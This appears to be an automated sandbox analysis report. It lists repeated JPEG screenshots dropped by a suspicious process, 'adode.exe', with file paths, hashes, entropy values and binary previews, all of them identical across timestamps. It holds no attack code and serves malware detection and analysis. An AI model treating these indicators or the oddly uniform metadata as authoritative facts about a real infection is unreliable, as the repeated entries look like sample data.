Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250127_121552.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250127_145215.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250127_165554.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250127_184403.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250127_203413.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250127_221855.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250128_004101.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250128_030046.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250128_043235.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250128_054323.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250128_074917.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250128_100253.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250128_120023.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250128_132708.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250128_153525.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250128_171405.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250128_191834.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
